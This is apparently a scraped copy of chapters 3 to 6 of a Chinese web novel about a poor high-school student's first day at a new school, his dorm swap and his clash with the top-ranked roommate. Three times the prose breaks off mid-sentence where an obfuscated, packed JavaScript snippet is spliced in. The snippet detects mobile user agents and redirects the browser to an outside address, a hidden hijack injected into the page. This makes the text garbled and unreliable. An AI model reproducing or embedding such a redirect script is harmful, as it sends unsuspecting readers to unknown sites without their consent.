《笨蛋导航》 3. 第3章 一上车,方笑贻就打开了[随手记],开始记账。 奶粉米粉尿不湿、酱油抽纸、水电气费……零零碎碎,他什么都记。 记完他又去捋支出和收入,在记账软件和excel、备忘录里反复横跳,眉头松松拧拧,直到一个电话打进来,把持了屏幕界面。 席子——[拒绝]/[接听] 方笑贻点了[接听],手机一举起来,就听见一个粗声粗气的小公鸭嗓在对面咋呼。 “哥,你咋已经走了啊?” “因为该走了,”都几点了,方笑贻说,“咋了?” “我有个东西要给你的。”席子一派失望的语气。 方笑贻:“啥?” 席子又嘿嘿一笑:“没啥,就是个外套。” 可他嘴里说着没啥,但话里话外的,又很嘚瑟。 方笑贻还是有点了解他的,当即就明白了,那外套大概不便宜,少说也得是个牌子。 他俩消费观不一样,方笑贻沉默一瞬:“什么外套?你给我买的啊?” “买啥买,”席子一副不值一提的语气,“就在我一朋友那儿拿的,随随便便,一件运动外套而已。” 可方笑贻心知肚明,他一个资深的小流浪汉,哪会有什么开店的“朋友”?然而眼下挑破也不合适,人家一番好意而来,不是来听他拒绝和说教的。 方笑贻不动声色道:“行我知道了,你放家里吧,叫我妈过下水,我放假回去穿。” 席子说:“诶好,得嘞。” 那个语气很快乐,让人听着就想逗他,于是方笑贻说:“还有,你下次要送东西,记得早点来。” “诶呀卧槽,你这说的我好像很不重视你一样,”席子赶紧解释,“但实际上不是的哈。” “我2点就出门了,只是在路上碰到个挂壁想卖手机,那叫一个拖拖拉拉呀!一会儿卖一会儿又不卖的,叼毛得要命。我要不是看他那手机卖相还可以,劳资!真想打他的人。” 席子虽然没读过几天书,但是口条很不错,现在收售二手手机挺适合他,今天这结果似乎也不错。 方笑贻说:“然后呢?你这单赚了多少?” “还没出手呢,不过一百两百的,”席子膨胀地说,“应该不在话下。” 赚钱挺好,可以说是最好的事了,对他们来说。 方笑贻笑了下,夸他说:“可以,发财,666。” 可一百块永远也发不了财,但是席子没有反驳,笑了半天才说:“行,发他妈的!那就这样,嗯,那个啥……” 说着他忽然扭捏起来:“祝哥开学快乐,呃……好好学习,考上清华北大!” 当这阵磕巴的祝福顺着听筒传过来,大巴忽然转了个弯。 下午的太阳一下折射过来,方笑贻骤然被蜇眯了眼睛,但在他那张明晃晃的脸上,笑意却像细小的结晶,从他淡淡的脸色里析了出来。 “谢了,借你吉言。不过比起清华北大,我还是更希望,你能祝我,”方笑贻发自内心地说,“飞黄腾达。” “艹你怎么这么俗!”C语言大师席子一边鄙视他,一边又忍不住志同道合,“哈哈哈不过我也想飞黄腾达,那就飞黄腾达吧!” 等挂了电话,方笑贻又给他妈王玉华打了一个,叫她拍个外套照片过来。 两分钟后,一张平整地铺在他床上的外套照片,出现在了对话框里。 那是一件宽松版的华夫格开衫外套,黑色,袖子上带白色的三道杠,牌子是阿迪。 方笑贻对着它愣了好一会儿,才在心里骂了句“败家子诶”,接着把照片发给席子,并粘了两条消息。 [重生之中国首富]:真帅! [重生之中国首富]:有空给我送到学校里来 席子回得挺快。 [席子]:仰天大笑.jpg [席子]:人怎么可以想得这么美 [席子]:自己回来穿! 方笑贻回了个失望的表情,席子就叫他上学去,别玩手机了,方笑贻就准备打会瞌睡。只是还没睡着,谭威的消息就来了,问他到哪儿了?顺便还给他布置了任务,叫他带瓶冰脉动。 20分钟后,方笑贻在榆临一中站下了车,到站牌背面的小超市里买了水,随后跟着人流进了学校。 一进校门,左手边的人行道边上就有一堆人,在门口的公告栏上看分班榜。 方笑贻不爱凑热闹,径直穿过宽广但略显陈旧的教学楼区,去了宿舍。 他的寝号是301,谭威已经给他说过了,传说是个8人间,床新、水池干净,上下铺的爬梯都是楔形爬梯,方方面面都很完美。 只是唯一的问题,大概就是他才走进301窗户的视野区域,就隔着防盗条,看见谭威在跟人吵架。 “……不是故意的,不是故意的你们都随便动我兄弟行李,”谭威指着对面,眉梢吊得老高,“那要是故意的,得搞成什么样啊?” 在他指尖方向,站着两个男生。 一个娇小的在靠门这边,方笑贻从他背面过来,看不见他的脸,只能看见他举起双手,在身前摆道:“没有没有哥们儿,误会,我们真不是故……” 另一个略高一些,留个前刺头,在矮的左边,跟他异口同声:“你什么态度?嚷什么嚷?” 那嗓门不大,但语气之不屑,活似一点火星溅进油里,谭威的表情瞬间就毛了。 方笑贻见他眼睛瞪成个铜铃,胸口一鼓,即将喷火,就赶紧伸手拿脉动磕了下窗户,隔着防盗条喊了一声:“谭威。” 谭威瞬间扭过头,见他站在铁条外面,气质那叫一个气定神闲,登时气不打一处来,迁怒道:“干嘛?!你咋不明天再来呢?” “那我走?”方笑贻说。 “你敢,”谭威更生气了,“进来吧你!” 方笑贻于是进了门,顺带接收到两条视线。 礼尚往来,方笑贻也分别打量了那两人一眼,见那矮的是个娃娃脸,表情有点尴尬,眼圈也微有点红。而他旁边那个前刺头板着脸,满脸写着不高兴。 不过他还是没有谭威愤怒,方笑贻收回视线,问谭威:“干嘛呢这?” “教训煞笔呢。”谭威鼻子不是鼻子、眼睛不是眼睛地说。 余光里见那“前刺头”表情猛地一变,方笑贻又拿瓶底杵了下谭威:“喂,文明点。” 谭威不想对煞笔文明,但又一想方笑贻才是煞笔的室友,自己闹得太凶了对他不好,只好忍了,抓过水,改为阴阳怪气。 “是这样,”谭威暗示性极强地斜乜着“前刺头”,“有些人啰素质低,没经过别人同意就换别人床位,被抓住了还不承认,横的像踏马个螃蟹,这我可忍不了。” 换床位?方笑贻还不及琢磨。 “前刺头”就抢进来怒道:“放你丫的狗屁!要不是你砸到了谢恒的脚,我吃饱了撑的跟你横?” 谭威也不甘示弱:“嘿你个鸟人真是张嘴就来啊!他那脚是我砸的吗?明明是他擅自搬我兄弟的箱子,没扛住,掉下来自己砸的,关我屁事?” “前刺头”:“你要是不拉他,他会扛不住吗?” 谭威:“鸡毛!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161502|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压根就没碰到他。” “前刺头”:“哼,敢做不敢当,煞笔!” 谭威:“劳资踏马!……” 他俩你一句我一句,话密的别人都插不上嘴。 方笑贻加不进这个祖安对话营,只好转头跟那个“娃娃脸”搭起了话,因为对方来跟他道歉了。 “不好意思啊同学,”谢恒看着他,表情很不好意思,“我不小心把你箱子摔了。” 这人长得有点显小,小脸小头小身板,但眼神很灵活,面相也挺聪明。 方笑贻也看着他:“坏了吗?” “呃,”谢恒顿了下,“外面看着没坏,但是里头不好说。不过万一有东西摔坏了,我会赔的,然后真的,对不起。” 说着他双手合十,摇了两下,脸上一派歉然。 方笑贻看他挺讲道理,不讨厌,就说:“行,一会我看看。你脚咋样?还好吧?” 谢恒闻言一愣,盯了他一瞬,接着脖子一缩,表情瞬间俏皮了不少:“嗨,说实话哈,砸的还是有点痛,你那箱子挺重的。” “重很正常,”方笑贻也扯了下嘴角,客气而不失真诚地说,“因为我在里头塞了10瓶拌饭酱。” “……”谢恒出于惊奇,“啥酱啊?一塞就是10瓶。” “挂壁酱,”方笑贻扫了眼他的衣服鞋,说,“你不会感兴趣的那种。” “挂、”谢恒因为没听过,越发好奇了,“挂什么啊?” “噗——” 谭威吵架吵到一半,直接被这货笑飞了。 人才! 还不感兴趣,他看谢恒都快被吊成翘嘴了,四海销冠,就是这个实力! * 事实证明,“销冠”的箱子没事,里面的东西也都完好。 接着,谢恒主动做了自我介绍,他跟“前刺头”陈文宣是发小,初中也是同校,但不同班。所以好不容易都分到1班,就想一起住,结果搞成这样。 方笑贻能理解,也愿意让个人情,不然吵成这样,都白吵了。而且谭威远在5班,1班也没有他认识的人,住哪都一样。 只是让完之后,他才发现,他们住的还是不一样的。 因为谢恒原先被分配的寝室,300,是一间不起眼但豪华的……双人间。它夹在两层楼梯之间,门开在右边贴墙的位置,不进来,八成会被当成一个杂物间。 屋里的空间很小,只够贴墙摆下一张上下铺,和一套桌椅。然后进门右边的卫生间也小,还有点偏暗,因为窗户开得又高也小。 但,它是个双人间啊! 谭威眼睛都看绿了,大为震撼:“我靠学校里怎么还有双人间?搞差别待遇啊,我要闹了。” 陈文宣倚在门板上,用平淡的语气悄悄怼他:“你考个全校前四,就没差别了。” 谭威一哽:得,搞了半天这是学霸的特权。 方笑贻也是一见倾心。他的睡眠很烂,浅到爆炸,所以这个光是这个床板的数量,就足够让他心动了,不过逼数他心里还是有的。 他问谢恒:“你确定,要跟我换吗?” “确定,我想老陈住一块儿,但,”谢恒还没住过集体宿舍,有种无知无畏的向往和果断,两手一摊说,“我总不能把全校第一换出去吧?就只能自己出去了。” 他说到“全校第一”的瞬间,方笑贻才注意到上铺的床架上有张姓名牌。 它被插在一小块等床架宽的亚力克透明卡槽里,蓝绿边框,带榆临一中的校徽水印,水印上打印着两行楷体: 高一(1)班 边煦 4.第4章 “煦子,不行,我真得走了。” 从方笑贻家里出来之后,席子来了勤劳街。 勤劳街是四海南区的商业一条街,但说是商业,实际也村得很,因此席子一来,就注意到了这两个说话的,城里人。 他俩刚从移动代理店出来,左边那个很高,穿oversise的棒球黑T,戴黑色口罩,酷酷的。右边那个穿得花里胡哨,但气质都很洋气。 席子正要经过代理店,又听见“花里花哨”还在说:“我这头发还得去倒腾倒腾,不然我都进不了校门。” “嗯,你去吧。”“黑口罩”应声,将手里的手机揣进了兜里。 那款式席子一看,就是代理店里八百年前的旧款。 “花里胡哨”又说:“那你一个人在这儿,能行吗?” “黑口罩”说:“行,怎么不行?发点疯,一个打五个都没问题。” “花里胡哨”说:“哥正常点,行不行?” “黑口罩”说:“说了行,你又不信。走你的,我去派出所和网吧留个电话,就走了。” “花里胡哨”说:“好好好信信信,那你弄到卡了给我来个电……” 刚买的手机,又听到“卡”,席子眼睛一亮,瞬间蹿了过去,咧嘴笑道:“两位帅哥不好意思打扰一下哈,请问你们是要,买手机卡吗?” “不要。”边煦视线下垂,睨了这小孩一眼。 他看着也就十来岁,人还是个小豆芽菜,但这短裤拖鞋、油嘴滑舌的模样,和方才那巷子里的胖子竟然如出一辙。 所以这到底是个什么鬼地方?连孩子都一股中介味,除了那个“小方”……边煦脑子忽然又闪出那张清晰的脸。 他倒是很拽,没有地推味,但平静得暴躁,有点扭曲。 ……跟自己差不多。 “不要也可以看看嘛。” 席子却无视了他的冷淡,将后背的邮差胸包往前一转一拉,手里就多了一小把呈扇形捻开的卡片,他说:“看看又不要钱。” 那一系列动作不说快如闪电,却也足以令唐悦瞠眼皮。他这人好奇尚异,立刻随口一赞:“可以啊弟弟,这小动作,够麻利的,卡没少卖吧?” “还好还好。”席子笑得恭维。 唐悦和颜悦色的,眼神却一瞟他的卡:“但你这卡,不合法吧?” 席子张嘴就想说“合法”,四海街上卖卡的都这么说,买家也都是笨蛋,从不过问。 但是他俩问了,而且他俩还是城里人,城里人什么没见过啊……揣着对“城里人”神化版的认知,席子心一横,决定采用方笑贻教的策略。 感觉搞不定的时候,就主打踏马的一个真诚。 “嗨,”席子露出一种割肉的表情,“哥一看就是明眼人,我也就不在哥面前瞎掰了。这卡呢,也是用身份证办的,现在不用身份证办不来卡了。” 这话不假,边煦就是这么空手出来的,因为他没带身份证,而唐悦来得急,也没带。但早几年,路边的小超市里都能买到卡。 席子又说:“只是,不是用的哥的身份证,是用的别人的。这要换个卖卡的,他肯定骗你,啥问题没有,嘎嘎好用。但我不干这种一票翻车的事,我是要做回头客的。所以我会跟你讲明白。” “这卡哈,需要实名的功能,哥都用不了,但是打电话、用移动网络,是一点问题没有的。哥要一张不?不要我就走。” 唐悦看他小嘴叭叭的,还挺掏心掏肺,就斜眼一瞥边煦:买不? 然而边煦最不吃的,就是掏心窝。 他妈于静涵年年掏月月掏,掏得狗都要发疯,边煦厌恶这种自以为是的真诚。不过好在这小孩话里除了“真诚”,还是有点有用的信息。 于是边煦看着他,提了个态度有所松动的问题:“别人为什么要办卡给我用?他就不怕我拿去搞诈骗吗?” 哥你有点逼数好不好? 席子压制着想抽的嘴角,心想:就你这样的,别人不来诈骗你都不错了。再说那远赴柬埔寨的苦,看你也不像能吃得了的样子啊。 而且,这还涉及到一点点商业机密。不过比起到手的钱,机密它就是个屁。 席子瞬间就压低声音,把“机密”卖了:“这个嘛,因为很多人办卡的时候,以为只办了1张,但实际上……是5张。” 边煦和唐悦家里都是做生意的,因此一听就明白了,这是签到阴阳合同,被中介吃了。 一个卡生意透露到这份上,基本已经见底了。 边煦也是临时急用,就花100,买了一张带68元套餐的移动卡。而唐悦存下这个临时号,也心里踏实地走了。 离开移动店,边煦先往派出所去了,因为单位快下班了。 但他走了一小段,发现那“豆芽菜”还在后面,就停下来,看着他说:“怎么?” 是还有什么想卖的吗? “啊?”席子懵了下,“不怎么啊,我、我去振兴面馆吃面啊。” * 四个人两边跑,很快就把行李换完了。 换完之后,谢恒跟方笑贻换了电话,又告诉他晚上6点半,在1-201开班会,说完走了,方笑贻才开始收拾铺盖,他先从行李袋里的摸出旧抹布和自装酒精,打湿了就开始擦。 空气里很快就弥漫起一股酒精味。 谭威看他动作轻快,心情明显不错,就一屁股坐到椅子上,开始瞎掰。 他说:“我看那个谢恒对你的酱挺感兴趣的,你咋没顺着给他俩推销啊?” 方笑贻沉迷擦拭,头也没抬地说:“他俩一看就不是我的目标客户群。” 而且他妈说家里现在有个店了,她能有收入,叫他专心上学,别整这些事了。 “还目标客户群,”谭威笑道,“那你还带那么多酱?不重啊?” “重啊,”方笑贻给了他一个慈爱的眼神,“但都是你在搬啊。” 谭威居然把这茬忘了:“我锤死你。” 方笑贻笑了下,拉回了正题:“万一有人要买呢?顺手的事,卖一卖呗。” “艹,”谭威说,“奸商。” “奸商”没理他,只一味往抹布上倒酒精。他动作麻利,从床到洗脸池,很快就把洗脸池都擦了一边,再搓了个麻布,绕出来擦完窗台,抬脚一踢板凳腿。 “起来。”他要擦桌子板凳。 谭威出溜在椅子上,不想动,就划拉着手机说:“这旮不用擦,我已经用屁股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167462|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你擦干净了。” 方笑贻瞧不上他的屁股,叫他滚。 “我不滚,”谭威说,“我要在这儿等全校第一。” 方笑贻:“有你什么等头?人家又不认识你。” “马上不就认识了?”谭威说,“他可是你未来的室友同志,我得看看,他长啥样子。” “能长啥样?”方笑贻说,“还不就一个鼻子两个眼睛。” 他初中过得兵荒马乱,到了高中,对同学情谊也没什么期待。 “呸,站着说话不腰疼,”谭威说,“那我俩把鼻子换一换。” 方笑贻挺宠他:“换。” 谭威乐道:“换你大爷。” 大爷那就更不值钱了,方笑贻二话不说:“大爷也给你换。” 谭威笑得更欢了:“没节操的东西,我不想跟你说话了。” 方笑贻满足他了,谭威自己嘴又闲不住,拿腿翘着椅子感慨:“呵哼,边煦,编序,你这室友名字听起来,还怪学究的嘞。” “学究好啊,爱学习。”方笑贻嘴上夸着,心里想的却是:管他学不学究,只要不是奇葩就行。 只是一直等到他床都铺完了,“第一”还是没有出现。 谭威白等半天,又已然到了再不去吃晚饭,就来不及了的地步,忍不住十分失望。 “不是,”他说,“牛笔的人要压轴出场,这个咱能理解,但你这室友,是不是也有点压过头了啊?这都5点半了,咋还毛都没有一根?” 那可太好了,方笑贻巴不得独占寝室,想得挺美:“可能他跟你一样,在外面租了房子的,今天晚上不住,就不过来了。” “行吧,”谭威八卦的心死了,换了话题,“晚上吃啥?面?炒饭?还是麻辣烫?” 方笑贻侧过头看他:“你要是问我,我永远选面。” 因为便宜。 “靠,”谭威已经为他吃了太多的面,听见就排斥,“那还是麻辣烫吧。” 两人很快下了楼,到校门对面的帐篷麻辣烫摊里混了一顿,吃完又去日杂店,方笑贻买了扫帚拖把。 等回到宿舍,“第一”的床板还是空的。 都这个点了,他来的概率很小了,方笑贻揣着细碎的愉快,扫完地后,又额外把他的床架也擦了一下。 到了6点,要不是谭威一直催,方笑贻还得在寝室磨蹭一会,他不喜欢人多的地方。 一班的教室在主教一栋201,谭威在205,所以上楼的时候,谭威跟着他从201这边走的,并且还大摇大摆地跟着他进去晃了一圈,目的在于侦察1班有没有美女。 只是美女还没找到,倒先看到了一个装逼犯。 那是一个穿蓝白小格子短袖衬衫的男的,他正跟着一个留波波头短发的女生,边说边走地过来了。 “……什么?你是哪个中学的啊?四海区松、松什么中学啊?” 剩下的座位,要么夹在中间,要么太靠前,方笑贻才选了2组最后一排靠走廊这里,刚要坐下,就撞见了这么一句。 于是他和谭威对视一眼,看了过去。 松香中学,一个坐落在四海片区内,城中村里的野鸡初中。 也是他俩来的地方。 5.第5章 “松香中学。” 那个应该是校友,但却不认识的女生皱着脸,又说了一遍。 她表情窘迫而脚步逃避,说完回头还要走,又蓦然看见了方笑贻和谭威。 下一秒,方笑贻看见她嘴角紧紧一抿,带着一抹坚定到要入党的表情,几步抢过来,在他右手边的空位上坐下了。 她过来的那一瞬间,谭威还以为她是个颜控,是冲着方笑贻,或者自己来的。 但很快那男的也跟过来了,谭威就发现自己错了。 因为那男的把手往女生桌边一撑,优越感爆棚地说:“松香中学?没听过耶。我是六中泉师的,你知道我们六泉吗?” 女生立刻往方笑贻这边避了避,脸上的笑容干到皲裂:“呃……知道。” 代号都有了,逼格还会远吗?六中的高初中部,都全市的当之无愧的超级重点。 “我们六泉今年好多考到这儿的,就那个全校第一,边煦,你知不知道?他就是我们六泉的。” 女生满脸的拒聊,嘴上还是说:“哦。” 于是这男的又问她中考成绩是多少?是谁送她来报道的?他的话是他妈妈,他妈妈是xx区教育分局的人事科长。然后他平时的爱好是看书,最近在看的书是奥地利哲学家维特斯坦根的《纸条集》…… 那天聊的,不仅那女生如坐针毡,给方笑贻和谭威也整得是满头省略号。最后聊得那女生实在是扛不住,转头求救地看了方笑贻一眼。 方笑贻看到了。 其实她只需要,把脸一板、嘴一闭,就好了。 但很多人被养得太听话了,以至于出了门,连个陌生人的废话也不敢不听。 这样窝囊,受什么其实都是活该。 方笑贻漠然地垂下眼皮,拿起了手机,但划拉了几个页面之后,他还是切进谭威地对话框里,打了一行字。 [英雄,去救美,冲] 谭威看了眼他扬起的手机,想了两秒,接着冲过去往那男的跟前一插,再一屁股把他撅飞,顺便继承了他那个撑桌pose。 “妹儿,聊啥呢?”谭威对着“波波头”一个wink,“看都不看你哥一眼。” * “波波头”叫杨妙,长得其实是好看的。 她脸型很流畅,鼻子也精致小巧,只是肤色有些暗黄,且明显不会打扮,衣服发型都不适合她,但更关键的是性格,唯唯诺诺的,很拉长相的后腿。 她说话也像蚊子哼哼,直到听到谭威介绍,说方笑贻叫方笑贻,声音才稍微大了一丁点,诧异地“啊?”了一声。 “啊啥?”谭威莫名其妙。 杨妙飞快地把方笑贻一瞟,笑容十分腼腆:“没什么,就是觉得有点巧,就那个分班表嘛,我俩名字挨着在。” 方笑贻在她后面,而刚刚那个一直拉着她说话的李晨阳,则在她前面,她来报道的时候碰到过对方,当时李晨阳就跟她打了招呼,说他在她前面。 挨着就挨着,方笑贻其实没什么感觉,但她在笑,他只好挤出一句:“那是有点。” “有点巧”的他俩于是当了会儿临时同桌,但实际上主要是谭威和杨妙在聊,说自己是四海哪儿的、松香哪个班的。 方笑贻不爱参与这些话题,他心里都是收入支出、油盐酱醋,俗得要命,心理年龄直奔35,就把凳子挪到走道上,左耳进右耳出,让谭威坐在他桌上,自己低头回消息。 十多分钟前,方雪晴给他发了消息。 [姐]:照片.jpg [姐]:不得了,发舅瘾了 [姐]:拍大腿笑.jpg 方笑贻一看那个照片,是个两岁出头的娃,圆头圆脑的,正对着饭碗在仰头大哭,是他侄儿想想,眼睛就觉得受罪。 他眯了下眼皮,正要回一句:鼻涕都快进嘴了,管管吧。 谭威就嗖的跳下桌子,在他肩上一拍,说着跑了:“诶嘛你们老师来了,溜了。” 方笑贻闻言抬起头,就见教室里进来个男老师,体型中等偏瘦,穿一件亚麻色的短袖衬衣,面相很斯文,笑眯眯的。 他进来的时候还在接电话,等上了讲台就挂了,跟前排的学生说了会话,再接着就把麦吹响了。 “喂喂喂,同学们,都安静哈,也不要再玩手机了,咱们准备准备,开班会了。我是你们的班主任,高蓬。” 说着他单手举着麦,转身在黑板上的最右边写下了名字,然后又转回来说:“我呢心态很年轻的,跟你们差不多,不希望跟你们相处得太严肃。所以现在按照校园通行惯例,给你们一个光明正大的机会,给我取个外号。” 说完班上哄堂大笑,这会刚好六点半。 方笑贻瞬间就感觉到了,这老师的水平很不一样,于是把屏一抹,尊敬地收了手机。 很快,教室里七嘴八舌的,闹哄哄地在老高、高哥和高帅之中,选了高帅。但高蓬叫大家低调一点,喊老高就行。 接着,老高做了个开学陈词,叫大家不要给他惹事、也不许考试垫底,其他的就互相担待。说完要求大伙按点名顺序,上讲台做自我介绍,互相认识下。 而开学能有的顺序,也只有分班那张表,所以按常识来说,第一个要上台的,应该是自己那个“第一”室友。 他今天不住寝室,方笑贻揣着一丝感激的心情,抬起头,本来准备给他鼓个掌的。 可谁知班主任喊的却是:“下面让我们欢迎,谢恒,上来给大家做自我介绍,大家欢迎。” 散碎的掌声瞬间四起。 方笑贻合拍中的手腕却微微一顿,恍然明白过来:原来“第一”不是今天不住,而是压根就没来。 这开学第一天,就不上学的“全校第一”。 方笑贻把巴掌拍出声响,同时新鲜地想道:可以,还真没见过。 台上,谢恒成绩好、演讲也利索,洋洋洒洒地开了一个好头。他来自九中,这也是个省重点,属于榆临“三六九联中”之一。 后面一连6位,有男有女,也都看得出家底不薄,都谈吐大方、爱好具体。第8个叫“李晨阳”,方笑贻看见装逼犯上了台,他又提了一遍他的初中和他的妈,以及他那个高雅的爱好。 等他臭屁完下来,方笑贻已经很不情愿的,深深地记住了他,跟着杨妙就被叫上去了。 她上去之前就挺紧张了,从方笑贻桌外过去的时候,他甚至看到她右手在抖,也没特别关注,只是因为太明显了。 站上去之后,她就更僵硬了,拿卖的手越抖越凶,然后一开口,“大家好”里居然还有哭腔。 底下当时就有人笑出了声,然后笑声滚雪球般,越来越大。 李晨阳还在下面喊:“杨妙,别紧张,你从小地方来的,这样很正常,加油!” 杨妙瞬间更恐慌了,脸上的肌肉都在抽搐。 还是老高看情况不对,过去对她耳语了一下,她才拿左手抱住右手,用一阵哆哆嗦嗦的嗓音,做了个“我是谁、我来自哪里”的超短介绍,接着满脸通红地逃下了台。 期间,方笑贻被叫了起来,他离开座位之后,隐约还听见有人在嘀咕,“小地方”是哪儿?而杨妙迎面而来,顿时又把头垂得更低了一点。 方笑贻看着她发缝紧密的头顶,忍不住在心里叹了口气,侧身从她旁边过去了。 然后杨妙听见他低声说了句:“杨妙,别低着头。” 不是“没事”,也没有鄙夷,就是他说“那是有点”的那种语气,不咸不淡的,仿佛自己出的这场滔天大糗,根本不值一提。 * 6点49分,边煦跟着教导主任上了教学楼,楼道口的教室牌是205。 主任是个地中海,一看实力就很强。 边煦迟到地出现在空旷的校园里,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174387|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他严厉地逮住了。但现在主任挺和蔼了,不仅亲自把他送了上来,还一直在关心他。 问完他学校怎么样、对寝室满不满意,又开始问他,为什么考了那么高的分数,却没有选择去榆临六中? 可人烦的时候,被关心都是一种负担。 边煦竭力忍住了,不想露出太多的不耐烦,但实际效果很烂,他回了一趟家,去拿证件和枕头,又生了一吨气。因此做不出与有荣焉的表情,只好瘫着五官,跟着主任穿过了走廊。 透过门窗,每一个班都在开班会,他那个班也不例外。 快走到1班后门口的时候,边煦看见有个男生上了讲台,他穿着白色带帽的卫衣短袖,背影有种…… 边煦眼皮神经质地一闪,还没咂摸明白那种感觉是什么。 主任就忽然回过头来,打断了他的浮思:“喏,这就是你的教室了,你看,你来得晚了,位子都没得选了。” 边煦只好收回目光,对主任点了下头。 主任说完,回头还要带路,但边煦瞥见后门口有个空位,也不想从前门被集体注视,就说:“主任,我就从后门进吧。” 主任隔窗一瞥,见那男生都站到讲台跟前了,就又停了下来:“也行,你先坐后面,反正过几天也是要调位子的。” 边煦闻言往门口一挪,人就进了门框里。 紧接着,他就看见讲台上的人抬起头来,边环视边说:“大家好,我叫……” 这里似乎有个停顿,又似乎没有。 但隔着教室,边煦看着他的脸,心里却很是吃了一惊,为这今天梅开三度的相遇。 但对方应该没认出他来,话往下接得流畅淡定:“方笑贻,我也是从小地方来的。” 边煦闻言,瞬间又是一惊,因为他刚从宿舍出来,看见他的室友…… 很好,边煦精神状态美丽地想道:现在缘分升级了,从“火药味”变成了“狗皮膏药味”的。 还有“也”?他同时注意到这个字眼:“也”是什么意思? 台上的人又兀自说:“我没有得过全国中学生英语演讲的三等奖,也没有当科长的爸妈,我家里只有个杂货铺,很小、很土。” 他在这里一顿,班上又是一阵笑声。 边煦远远朝班主任点头致完意,侧眼又看到他,感觉他好像在影射什么,同时心里又有点神奇。 挺不要脸的,别人在开班会,他搁这打广告,不过这倒是符合“小方老板”的人…… 就又见他在台上忽然一笑,说:“但很靠谱的,所以,有想买辣条文具充电器等的同学可以找我,包打折,谢谢。” 可他一笑气质骤变,居然从冷淡变得、生动了起来,好像挺爱笑,脾气不错似的。 边煦属实没料到,他竟能把脸变成这样,心口猝不及防的,竟被笑得咯噔一跳。 一分钟后,在渐渐消止的掌声里,方笑贻从讲台上回来了,但座位也已经没有了。 那个抢座的单手撑着下巴,脸朝走道这边,在表情古怪地看他。 方笑贻也不由糟心的,再次把他扫视了一遍。 这人进来的时候,他还没敢确定,因为他那会没戴口罩,那张脸……虽然发型还不如自己15块理的,但脸确实被谭威说中了,是过硬的。而且乍一看,竟无端有种哪里见过的错觉。 不过当时自己正在讲话,所以方笑贻没空琢磨。 但是此刻,这鸡窝头、黑T恤、不高兴,以及左手腕上那根,黑色的细硅胶运动手环,所有的特征,没有一个是和下午巷子里的神经病对不上的。 然而那种见过的感觉,却是再也没有了。 可能,他就是个大众脸吧。 方笑贻昧着良心下完结论,再看两眼后门口那位,亲自送他过来,且官威不小的老师,心里霎时又升腾起另一种感觉。 这个货,该不会就是…… 6.第6章 方笑贻心里一阵抗拒。 但不管是不是,都不能抢他的位子。 他有的东西本来就已经很少了,所以什么也不想给别人抢。尤其方笑贻还看他不爽,失去的懊恼就会翻倍,位子一倍、心情一倍。 所以走到座位旁边以后,方笑贻没有停下来,继续往后面去了。 边煦看他眯缝着半边薄眼皮,闷不吭声地过去了,但那眼神黑黢黢的,一看就没憋啥好屁。 为了提防他,边煦就把脸看成了个“向日葵”。 他看着方笑贻先越过自己,浅浅冲正拿起手机往外走的主任鞠了下躬,接着从自己背后绕过,停在了自己和邻桌的中间。 然后他弯下腰,悄悄……比悄悄还是大点声地对自己说:“同学,你坐的是我的位置。” 这会,边煦已经从前面扭向右边了,看着他那张距离变近、态度也变礼貌的脸,感觉他还是有点心机的。 跑到这边,自己就看不到主任了。 但边煦也不需要主任撑腰,他只是带着一种自己都没察觉到的玩味。 每当他对上这个人,就会暂时忘记那些闹腾不休的情绪。而且这家伙下午对他又竖中指、又丢瓶子的。 边煦也是有心整他,就眼皮一撩,看了他两秒,才说:“啊是吗?不好意思,我不知道。” 但那语气很平,里头没有一丝诚意。 方笑贻也扯出个假笑:“不好意思,你就起来啊。” 边煦盯着他塑料的笑脸,心里却忽然观察明白了,他笑和不笑时差别大的原因。 他眼睛大,眼黑也大,没表情就会有点鬼气;可眼型又是圆的,容易显无辜。 但他这个人的性格底色,边煦心想,应该是跟无辜绝缘的。 想完,边煦看着他,纯粹是在拖延时间的,又磨蹭了两秒:“好吧,但我去哪里坐呢?” 自己在这儿弯着腰,他搁板凳上纹丝不动,方笑贻心里一阵来气,嘴角一垮说:“3组第一排里面,请吧你。” 说着他猛地伸出手,把边煦的右咯吱窝一抄再一提,同时单脚勾住板凳腿,将有所松动的它往外一拖。 边煦虽然知道,他大概不是个好东西,但也没想到能这么阴险,完全没设防,因此臂弯一紧,屁股瞬间就悬空了大半。 不过好在还剩一点,因此那姓方的还抬着他。 边煦当即反手一抓,搭住他的胳膊就往下压。 明明离板凳自由只差一点了,但这个“鸡窝头”劲是真大。 方笑贻被他一别,连胳膊带人就往下一沉,板凳立刻就勾不动了,但那个面还是漏在外面。 那有一半,也比没有强。 